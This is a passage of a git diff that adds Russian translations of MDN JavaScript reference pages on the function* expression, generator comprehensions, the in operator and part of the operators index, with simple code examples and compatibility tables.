+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/function_star_/index.html b/files/ru/web/javascript/reference/operators/function_star_/index.html
new file mode 100644
index 0000000000..c924d55dfe
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/function_star_/index.html
@@ -0,0 +1,149 @@
+---
+title: function* expression
+slug: Web/JavaScript/Reference/Operators/function*
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Итератор
+  - Оператор
+  - Функция
+translation_of: Web/JavaScript/Reference/Operators/function*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ключевое слово <strong><code>function*</code></strong> может использоваться для объявления функции-генератора внутри выражения.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">function* [<em>имя</em>]([параметр<em>1</em>[, <em>параметр2[</em>, ..., <em>параметрN</em>]]]) {
+   <em>инструкции</em>
+}</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>имя</code></dt>
+ <dd>Имя функции. Может быть опущено, в этом случае функция будет <em>анонимной</em>. Имя локально для тела функции.</dd>
+ <dt><code>параметрN</code></dt>
+ <dd>Имя аргумента, передаваемого в функцию. Фунция может иметь до 255 аргументов.</dd>
+ <dt><code>инструкции</code></dt>
+ <dd>Инструкции, составляющие тело функции.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Выражение<code> function*</code>  очень похоже на обявление {{jsxref('Statements/function*', 'function*')}}, и имеет почти такой же синтаксис. Основная разница между выражением <code>function*</code> и объявлением <code>function*</code> – в <em>имени функции,</em> которое может быть опущено в выражениях <code>function*</code> для создания <em>анонимных</em> функций. Смотрите главу о <a href="/ru/docs/Web/JavaScript/Reference/Functions">функциях</a> для получения более подробной информации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере определяется безымянная функция-генератор и присваивается переменной <code>x</code>. Функция возвращает квадрат своего аргумента:</p>
+
+<pre class="brush: js">var x = function*(y) {
+   yield y * y;
+};
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'function*')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'function*')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Характеристика</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>yield*</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>Объект {{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Iteration_protocols#Протокол_Итератор">Протоколы перебора: Итератор</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+ <li>Объект {{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions", "Функции")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html b/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html
new file mode 100644
index 0000000000..fb04526d8a
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/generator_comprehensions/index.html
@@ -0,0 +1,229 @@
+---
+title: Упрощенный синтаксис создания функций-генераторов
+slug: Web/JavaScript/Reference/Operators/Generator_comprehensions
+tags:
+  - Итераторы
+translation_of: Archive/Web/JavaScript/Generator_comprehensions
+---
+<div class="warning"><strong>Не в стандарте. Не используйте!</strong><br>
+Включения генераторов - нестандартная возможность, и вряд ли когда-либо появится в ECMAScript. В будущем попробуйте использовать {{jsxref("Statements/function*", "generator", "", 1)}}.</div>
+
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>Синтаксис <strong>включений генераторов </strong>- это выражение, которое позволяет быстро создать новую функцию-генератор из существующего итератора. Включения присутствуют во множестве языков программирования.</div>
+
+<div> </div>
+
+<div><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions">Ниже</a> показаны отличия от старого синтаксиса генераторных выражений в SpiderMonkey, основанных на предложениях к стандарту ECMAScript 4.</div>
+
+<div> </div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">(for (x of iterable) x)
+(for (x of iterable) if (condition) x)
+(for (x of iterable) for (y of iterable) x + y)
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Внутри включений генераторов допустимы два типа компонентов:</p>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} и</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>Конструкция <code>for-of</code> всегда идёт первой. Таких конструкций может быть несколько.</p>
+
+<p>Существенный недостаток {{jsxref("Operators/Array_comprehensions","включений массивов","","true")}} - это то, что они создают полносью новый массив в памяти. Даже когда исходный массив небольшой, накладные расходы получаются весьма заметными, а уж когда входные данные - это большой массив или дорогой (или бесконечный) генератор, создание нового массива может быть трудной задачей.</p>
+
+<p>Генераторы позволяют выполнять ленивые вычисления последовательностей, то есть рассчитывать данные только тогда, когда они нужны. Синтаксисы включений генераторов и включений массивов практически аналогичны — первые используют () вместо [] — но вместо массива они создают генератор, который может выполняться лениво. Включения генераторов можно считать просто более кратким способом создания генераторов.</p>
+
+<p>Предположим, у нас есть итератор <code>it</code>, который итерирует по длинной последовательности чисел. Мы хотим создать новый итератор, который будет итерировать по тем же числам, умноженным на два. Включение массивов создало бы в памяти новый массив с умноженными числами:</p>
+
+<pre class="brush: js">var doubles = [for (i in it) i * 2];
+</pre>
+
+<p>А включение генераторов создало бы новый итератор, который высчитывал бы  следующее умноженное значение, когда оно нужно:</p>
+
+<pre class="brush: js">var it2 = (for (i in it) i * 2);
+console.log(it2.next()); // Первое значение из it, умноженное на два
+console.log(it2.next()); // Второе значение из it, умноженное на два
+</pre>
+
+<p>Когда включение генераторов передаётся как аргумент функции, можно обойтись без скобок вокруг включения:</p>
+
+<pre class="brush: js">var result = doSomething(for (i in it) i * 2);
+</pre>
+
+<p>Эти два примера отличаются тем, что используя включения генераторов, нам нужно пройтись по структуре объекта только однажды, а используя включения массивов - дважды: сначала при создании включения, затем, при самой итерации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Простое_включение_генераторов">Простое включение генераторов</h3>
+
+<pre class="brush:js">(for (i of [ 1, 2, 3 ]) i*i );
+// Функция-генератор, которая отдаёт 1, 4, 9 и так далее
+
+[...(for (i of [ 1, 2, 3 ]) i*i )];
+// [1, 4, 9]
+
+var abc = [ "A", "B", "C" ];
+(for (letters of abc) letters.toLowerCase());
+// Функция-генератор, которая отдаёт 'a', 'b' и 'c'
+</pre>
+
+<h3 id="Включение_генераторов_с_условием">Включение генераторов с условием</h3>
+
+<pre class="brush: js">var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
+
+(for (year of years) if (year &gt; 2000) year);
+// функция-генератор, которая отдаёт 2006, 2010 и 2014
+
+(for (year of years) if (year &gt; 2000) if(year &lt; 2010) year);
+// функция-генератор, которая отдаёт 2006, как и функция ниже:
+
+(for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year);
+// функция-генератор, которая отдаёт 2006
+</pre>
+
+<h3 id="Включение_генератора_в_сравнении_с_функцией-генератором">Включение генератора в сравнении с функцией-генератором</h3>
+
+<p>Будет проще понять синтаксис включений генераторов, если сравнить его с функцией-генератором.</p>
+
+<p>Пример 1: Простой генератор.</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+
+// Функция-генератор
+(function*() {
+  for (let i of numbers) {
+    yield i * i;
+  }
+})()
+
+// Включение генератора
+(for (i of numbers) i*i );
+
+// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 4, 9 ]
+</pre>
+
+<p>Пример 2: Использование <code>if</code> в генераторе.</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+
+// Функция-генератор
+(function*() {
+  for (let i of numbers) {
+    if (i &lt; 3) {
+      yield i * 1;
+    }
+  }
+})()
+
+// Включение генератора
+(for (i of numbers) if (i &lt; 3) i);
+
+// Результат: в обоих случаях получается генератор, который отдаёт [ 1, 2 ]</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Включения генераторов изначально входили в черновик ECMAScript 6, но их убрали в ревизии 27 (August 2014). Please see older revisions of ES6 for specification semantics.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_реализации_в_SpiderMonkey">Особенности реализации в SpiderMonkey</h2>
+
+<ul>
+ <li>Нельзя использовать {{jsxref("Statements/let", "let")}}, потому что она доступна только в JS версии 1.7 и тэгах XUL.</li>
+ <li>Деструктуризация во включениях пока не поддерживается ({{bug(980828)}}).</li>
+</ul>
+
+<h2 id="Отличия_от_старых_JS1.7JS1.8_включений">Отличия от старых JS1.7/JS1.8 включений</h2>
+
+<div class="warning">JS1.7/JS1.8 включения убраны из Gecko 46 ({{bug(1220564)}}).</div>
+
+<p><strong>Старый синтаксис включений (не используйте!):</strong></p>
+
+<pre class="brush: js example-bad">(X for (Y in Z))
+(X for each (Y in Z))
+(X for (Y of Z))
+</pre>
+
+<p>Отличия:</p>
+
+<ul>
+ <li>Включения в ES7 создают отдельную область видимость для каждой итерации <code>for</code>, вместо одной области для всего включения:
+
+  <ul>
+   <li>Старые: <code>[...(()=&gt;x for (x of [0, 1, 2]))][1]() // 2</code></li>
+   <li>Новые: <code>[...(for (x of [0, 1, 2]) ()=&gt;x)][1]() // 1, each iteration creates a fresh binding for x. </code></li>
+  </ul>
+ </li>
+ <li>Включения в ES7 начинаются с <code>for</code> вместо выражения присваивания:
+  <ul>
+   <li>Старые: <code>(i * 2 for (i of numbers))</code></li>
+   <li>Новые: <code>(for (i of numbers) i * 2)</code></li>
+  </ul>
+ </li>
+ <li>Включения в ES7 могут содержать несколько <code>if</code>  и  <code>for</code>.</li>
+ <li>Включения в ES7 работают только с итерациями <code>{{jsxref("Statements/for...of", "for...of")}}</code>, но не с <code>{{jsxref("Statements/for...in", "for...in")}}</code></li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "Array comprehensions")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html
new file mode 100644
index 0000000000..35ee2c4620
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/in/index.html
@@ -0,0 +1,136 @@
+---
+title: in operator
+slug: Web/JavaScript/Reference/Operators/in
+tags:
+  - JavaScript
+  - Оператор
+  - Оператор отношения
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Оператор <code>in</code></strong> возвращает <code>true</code>, если свойство содержится в указанном объекте или в его цепочке прототипов.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>prop</em> in <em>object</em></pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Строка или symbol, представляющий название свойства или индекс массива (non-symbols будут конвертированы в строки).</dd>
+</dl>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Объект, в котором нужно проверить содежание свойства с заданным именем.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В примере ниже показаны некоторые способы использования оператора <code>in</code>.</p>
+
+<pre class="brush:js">// Массивы
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+0 in trees        // true
+3 in trees        // true
+6 in trees        // false
+"bay" in trees    // false (вы должны указать индекс элемента в массиве, а не значение в этом индексе)
+"length" in trees // true (length является свойством Array)
+
+// Уже существующие объекты
+"PI" in Math      // true
+
+// Пользовательские объекты
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+"make" in mycar  // true
+"model" in mycar // true
+</pre>
+
+<p>Вы должны указать объект справа от оператора <code>in</code>. Например, вы можете указать строку, созданную через конструктор объекта <code>String</code>, но вы не можете указать строковый литерал.</p>
+
+<pre class="brush:js">var color1 = new String("green");
+"length" in color1 // returns true
+
+var color2 = "coral";
+// сгенерирует ошибку (color2 is not a String object)
+"length" in color2
+</pre>
+
+<h3 id="Использование_оператора_in_с_неопределенными_или_с_уже_удаленными_свойствами">Использование оператора <code>in</code> с неопределенными или с уже удаленными свойствами</h3>
+
+<p>Если вы удалили свойство при помощи оператора <code style="font-style: normal;"><a href="/ru/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code>, то оператор <code>in</code> возвратит <code>false</code> для этого свойства.</p>
+
+<pre class="brush:js">var mycar = {make: "Honda", model: "Accord", year: 1998};
+delete mycar.make;
+"make" in mycar;  // false
+
+var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+delete trees[3];
+3 in trees; // false
+</pre>
+
+<p>Если вы зададите свойству значение {{jsxref("Global_Objects/undefined", "undefined")}}, но не удалите его, то для этого свойства оператор <code>in</code> вернет значение <code>true</code>.</p>
+
+<pre class="brush:js">var mycar = {make: "Honda", model: "Accord", year: 1998};
+mycar.make = undefined;
+"make" in mycar;  // true
+</pre>
+
+<pre class="brush:js">var trees = new Array("redwood", "bay", "cedar", "oak", "maple");
+trees[3] = undefined;
+3 in trees; // returns true
+</pre>
+
+<h3 id="Наследуемые_свойства">Наследуемые свойства</h3>
+
+<p>Оператор <code>in</code> возвратит <code>true</code> для свойств, которые унаследованы по цепочке прототипов. (Если вы хотите проверить только не наследованные свойства, используйте {{jsxref("Object.prototype.hasOwnProperty()")}}.)</p>
+
+<pre class="brush:js">"toString" in {}; // true
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Определено изначально. Реализовано в JavaScript 1.4</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.operators.in")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/index.html b/files/ru/web/javascript/reference/operators/index.html
new file mode 100644
index 0000000000..eff74ba579
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/index.html
@@ -0,0 +1,291 @@
+---
+title: Выражения и операторы
+slug: Web/JavaScript/Reference/Operators
+tags:
+  - JavaScript
+  - Operators
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Эта глава описывает все операторы, выражения и ключевые слова языка JavaScript.</p>
+
+<h2 id="Expressions_and_operators_by_category" name="Expressions_and_operators_by_category">Выражения и операторы по категориям</h2>
+
+<p>Алфавитный список смотрите в боковой панели слева.</p>
+
+<h3 id="Primary_expressions" name="Primary_expressions">Первичные выражения</h3>
+
+<p>Базовые ключевые слова и общие выражения в JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/this", "this")}}</dt>
+ <dd>Ключевое слово <code>this</code> ссылается на контекст выполняемой функции.</dd>
+ <dt>{{jsxref("Operators/function", "function")}}</dt>
+ <dd>Ключевое слово <code>function</code> определяет выражение функции.</dd>
+ <dt>{{jsxref("Operators/class", "class")}}</dt>
+ <dd>Ключевое слово <code>class</code> определяет выражение класса.</dd>
+ <dt>{{jsxref("Operators/function*", "function*")}}</dt>
+ <dd>Ключевое слово <code>function*</code> (со звёздочкой) определяет функцию-генератор.</dd>
+ <dt>{{jsxref("Operators/yield", "yield")}}</dt>
+ <dd>Пауза или продолжение выполнения функции-генератора.</dd>
+ <dt>{{jsxref("Operators/yield*", "yield*")}}</dt>
+ <dd>Делегирует выполнение другому генератору итерируемому объекту.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/async_function", "async function*")}}</dt>
+ <dd><code>async function</code> определяет выражение асинхронной функции.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/await", "await")}}</dt>
+ <dd>Пауза и продолжение выполнения асинхронной функции и ожидание <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> (результата выполнения) с результатом разрешено/отклонено.</dd>
+ <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt>
+ <dd>Синтаксис создания инициализатора/литерала массива.</dd>
+ <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt>
+ <dd>Синтаксис создания инициализатора/литерала объекта</dd>
+ <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>Синтаксис создания литерала регулярного выражения.</dd>
+ <dt>{{jsxref("Operators/Grouping", "( )")}}</dt>
+ <dd>Оператор группировки.</dd>
+</dl>
+
+<h3 id="Left-hand-side_expressions" name="Left-hand-side_expressions">Левосторонние выражения</h3>
+
+<p>Значения слева являются назначением присваивания.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Property_accessors", "Доступ к свойству", "", 1)}}</dt>
+ <dd>Операторы доступа к членам предоставляют доступ к свойству или методу объекта<br>
+ (<code>object.property</code> и <code>object['property']</code>).</dd>
+ <dt>{{jsxref("Operators/new", "new")}}</dt>
+ <dd>Оператор <code>new</code> создаёт экземпляр объекта с использованием конструктора.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></dt>
+ <dd>Свойство <code>new.target</code> ссылается на конструктор или функцию, который был вызван через оператор {{jsxref("Operators/new", "new")}}.</dd>
+ <dt>{{jsxref("Operators/super", "super")}}</dt>
+ <dd>Ключевое слово <code>super</code> вызывает конструктор родительского класса.</dd>
+ <dt>{{jsxref("Operators/Spread_operator", "...obj")}}</dt>
+ <dd>Оператор распространения позволяет развернуть выражение в местах, где ожидается несколько аргументов (при вызове функций) или несколько элементов (при создании литералов массива).</dd>
+</dl>
+
+<h3 id="Increment_and_decrement" name="Increment_and_decrement">Инкремент и декремент</h3>
+
+<p>Операторы постфиксного/префиксного инкремента и декремента.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt>
+ <dd>Оператор постфиксного инкремента.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt>
+ <dd>Оператор постфиксного декремента.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt>
+ <dd>Оператор префиксного инкремента. <em>(Значение переменной, сначала, увеличивается на 1, а затем используется в выражении)</em></dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt>
+ <dd>Оператор префиксного декремента.</dd>
+</dl>
+
+<h3 id="Unary_operators" name="Unary_operators">Унарные операторы</h3>
+
+<p>Унарные опарации — это операции с одним операндом.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/delete", "delete")}}</dt>
+ <dd>Оператор <code>delete</code> удаляет свойство из объекта.</dd>
+ <dt>{{jsxref("Operators/void", "void")}}</dt>
+ <dd>Оператор <code>void</code> отбрасывает возвращаемое значение выражения.</dd>
+ <dt>{{jsxref("Operators/typeof", "typeof")}}</dt>
+ <dd>Оператор <code>typeof</code> определяет тип переданного объекта.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt>
+ <dd>Оператор унарного плюса преобразует свой операнд в тип {{jsxref("Global_Objects/Number", "Number")}}.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt>
+ <dd>Оператор унарного минуса преобразует свой операнд в тип {{jsxref("Global_Objects/Number", "Number")}}, а затем меняет его знак.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt>
+ <dd>Оператор побитового НЕ.</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt>
+ <dd>Оператор логического НЕ.</dd>
+</dl>
+
+<h3 id="Arithmetic_operators" name="Arithmetic_operators">Арифметические операторы</h3>
+
+<p>Арифметические операторы своими операндами принимают числовые значения (литерали или переменные) и возвращают одно числовое значение.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt>
+ <dd>Оператор сложения.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt>
+ <dd>Оператор вычитания.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt>
+ <dd>Оператор деления.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt>
+ <dd>Оператор умножения.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt>
+ <dd>Оператор взятия остатка от деления.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}</dt>
+ <dd>Оператор возведения в степень.</dd>
+</dl>
+
+<h3 id="Relational_operators" name="Relational_operators">Реляционные операторы</h3>
+
+<p>Реляционные операторы (операторы отношения) сравнивают свои операнды и возвращают значение типа {{jsxref("Global_Objects/Boolean", "Boolean")}}, зависящее от того, был ли результат сравнения истинным или ложным.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/in", "in")}}</dt>
+ <dd>Оператор <code>in</code> определяет, содержит ли объект указанное свойство.</dd>
+ <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt>
+ <dd>Оператор <code>instanceof</code> определяет, является ли объект экземпляром потомком Prototype (или экземпляром) другого объекта.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}</dt>
+ <dd>Оператор меньше.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}</dt>
+ <dd>Оператор больше.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}</dt>
+ <dd>Оператор меньше или равно.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</dt>
+ <dd>Оператор больше или равно.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Заметьте: =&gt;</strong> это не оператор. Это нотация для <a href="/ru/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Стрелочных функций</a>.</p>
+</div>
+
+<h3 id="Equality_operators" name="Equality_operators">Операторы равенства</h3>
+
+<p>Результат вычисления оператора равенства всегда имеет тип {{jsxref("Global_Objects/Boolean", "Boolean")}} и значение, зависящее от того, был ли результат проверки истинным или ложным.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt>
+ <dd>Оператор проверки на равенство.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt>
+ <dd>Оператор проверки на неравенство.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt>
+ <dd>Оператор проверки на идентичность.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt>
+ <dd>Оператор проверки на неидентичность.</dd>
+</dl>
+
+<h3 id="Bitwise_shift_operators" name="Bitwise_shift_operators">Операторы побитового сдвига</h3>
+
+<p>Операции для сдвига всех битов операнда.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}</dt>
+ <dd>Оператор побитового сдвига влево.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}</dt>
+ <dd>Оператор знакового побитового сдвига вправо.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</dt>
+ <dd>Оператор беззнакового побитового сдвига вправо.</dd>
+</dl>
+
+<h3 id="Binary_bitwise_operators" name="Binary_bitwise_operators">Бинарные побитовые операторы</h3>
+
+<p>Побитовые операторы трактуют свои операнды как набор из 32 битов (нулей и единиц) и возвращают стандартные числовые значения JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}</dt>
+ <dd>Оператор побитового И.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt>
+ <dd>Оператор побитового ИЛИ.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt>
